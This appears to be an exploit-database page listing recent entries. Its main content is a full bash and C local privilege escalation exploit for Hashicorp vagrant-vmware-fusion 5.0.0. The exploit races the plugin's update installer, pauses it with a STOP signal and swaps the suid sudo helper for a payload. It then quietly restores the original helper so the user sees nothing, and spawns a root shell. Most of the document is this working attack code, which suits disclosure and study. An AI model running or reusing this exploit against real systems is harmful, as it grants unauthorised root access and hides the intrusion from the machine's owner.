
13 changes to exploits/shellcodes Arq 5.9.7 - Local Privilege Escalation Murus 1.4.11 - Local Privilege Escalation Arq 5.9.6 - Local Privilege Escalation Hashicorp vagrant-vmware-fusion 5.0.3 - Local Privilege Escalation Hashicorp vagrant-vmware-fusion 5.0.1 - Local Privilege Escalation Sera 1.2 - Local Privilege Escalation / Password Disclosure Hashicorp vagrant-vmware-fusion 5.0.0 - Local Privilege Escalation Hashicorp vagrant-vmware-fusion 4.0.24 - Local Privilege Escalation Hashicorp vagrant-vmware-fusion 4.0.23 - Local Privilege Escalation Proxifier for Mac 2.19 - Local Privilege Escalation FS Makemytrip Clone - 'id' SQL Injection WinduCMS 3.1 - Local File Disclosure FS Shaadi Clone - 'token' SQL Injection
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4.7 KiB
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# After three CVEs and multiple exploits disclosed to Hashicorp they have finally upped their game with this plugin. Now the previously vulnerable non-root-owned
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# ruby code that get executed as root by the sudo helper is no more and the sudo helper itself is one static Go binary with tightly-controlled parameters that
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# can't (as far as I can tell) be exploited on its own.
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# However I have discovered that the update mechanism in 5.0.0 is not completely safe. There is a bug in the update mechanism for 5.0.0 that makes it reinstall
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# the plugin when you run:
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# $ vagrant plugin update
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# even if there is no update pending. The reinstall includes replacing the sudo helper and re-applying root ownership and the suid bit. This is done via
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# osascript with a block of shell as an easy way to show a graphical popup authentication dialog to the user.
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# After the credentials are entered and the permissions are applied the installer for the plugin immediately checks the hash of the sudo helper binary and if it
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# doesn't match it removes it. On the surface this seemed to make a race condition impossible however after some poking around I found a way to exploit it.
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# Because the authentication prompt is a guarantee of at least a few seconds pause in the intallation, we can catch this point in time very easily by scanning the
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# process list watching for the invocation of osascript. Once we see this we can lay a trap by replacing the sudo helper binary with an exploit payload (remember
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# this is always in a non-root-owned directory).
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# As soon as the privileges are set vagrant will execute its checksum and remove the payload, however because we've caught execution at the right time and
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# because the installer is a different process from the osascript process we can send a STOP signal to the installer to pause its execution. This means osascript
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# will set the permissions and then the installer will not immediately remove the binary, giving us time to move our newly suid-root'd payload out of the way, use
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# it to obtain root privileges, and then move the real sudo helper back into place and chmod +s it ourselves so that vagrant doesn't realise anything bad has
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# happened.
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# This all takes place in a second or two so the user is unlikely to notice either. Once this is done we simply send a CONT signal to the installer to allow
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# it to continue as normal. The plugin is installed correctly with the right permissions, the user didn't see any errors or warnings, and we have an suid
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# root payload that we can execute to spawn a root shell.
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# This issue is fixed in version 5.0.1.
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# https://m4.rkw.io/vagrant_vmware_privesc_5.0.0.sh.txt
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# cdbdf9e620eba0d897a3ef92b6872dbb0b194eaf548c23953a42678a566f71f0
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# -------------------------------------------------------------------------------
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#!/bin/bash
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echo "########################################"
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echo "vagrant_vmware_fusion 5.0.0 root privesc"
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echo "by m4rkw"
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echo "########################################"
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echo
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echo "compiling..."
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cat > vvf.c <<EOF
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#include <unistd.h>
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#include <stdio.h>
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#include <stdlib.h>
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int main(int ac, char *av[])
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{
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setuid(0);
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seteuid(0);
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if (ac > 1) {
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system("chown root vagrant_vmware_desktop_sudo_helper_darwin_amd64");
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system("chmod 4755 vagrant_vmware_desktop_sudo_helper_darwin_amd64");
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return 0;
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}
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system("rm -f /tmp/vvf_exp");
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execl("/bin/bash","bash",NULL);
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return 0;
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}
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EOF
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gcc -o /tmp/vvf_exp vvf.c
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rm -f vvf.c
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echo "waiting for user to initiate vagrant plugin update..."
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while :
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do
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r=`ps auxwww |grep '/usr/bin/osascript -e do shell script' |grep 'vagrant_vmware_desktop_sudo_helper_darwin_amd64'`
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if [ "$r" != "" ] ; then
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break
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fi
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done
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pid=`ps auxww |grep './vagrant-vmware-installer_darwin_amd64' |grep -v grep |xargs -L1 |cut -d ' ' -f2`
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echo "pausing installer..."
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kill -STOP $pid
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cd $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.0/bin
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echo "dropping payload in place of sudo helper binary..."
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mv -f vagrant_vmware_desktop_sudo_helper_darwin_amd64 vagrant_vmware_desktop_sudo_helper_darwin_amd64.orig
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mv -f /tmp/vvf_exp vagrant_vmware_desktop_sudo_helper_darwin_amd64
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echo "waiting for suid..."
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while :
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do
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r=`ls -la vagrant_vmware_desktop_sudo_helper_darwin_amd64 |grep -- '-rwsr-xr-x' |grep root`
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if [ "$r" != "" ] ; then
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echo "moving the real helper back into place..."
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mv -f ./vagrant_vmware_desktop_sudo_helper_darwin_amd64 /tmp/vvf_exp
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mv -f vagrant_vmware_desktop_sudo_helper_darwin_amd64.orig vagrant_vmware_desktop_sudo_helper_darwin_amd64
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echo "fixing perms..."
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/tmp/vvf_exp 1
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echo "allow vagrant to continue..."
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kill -CONT $pid
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echo "spawning shell..."
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/tmp/vvf_exp
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exit 0
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fi
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done |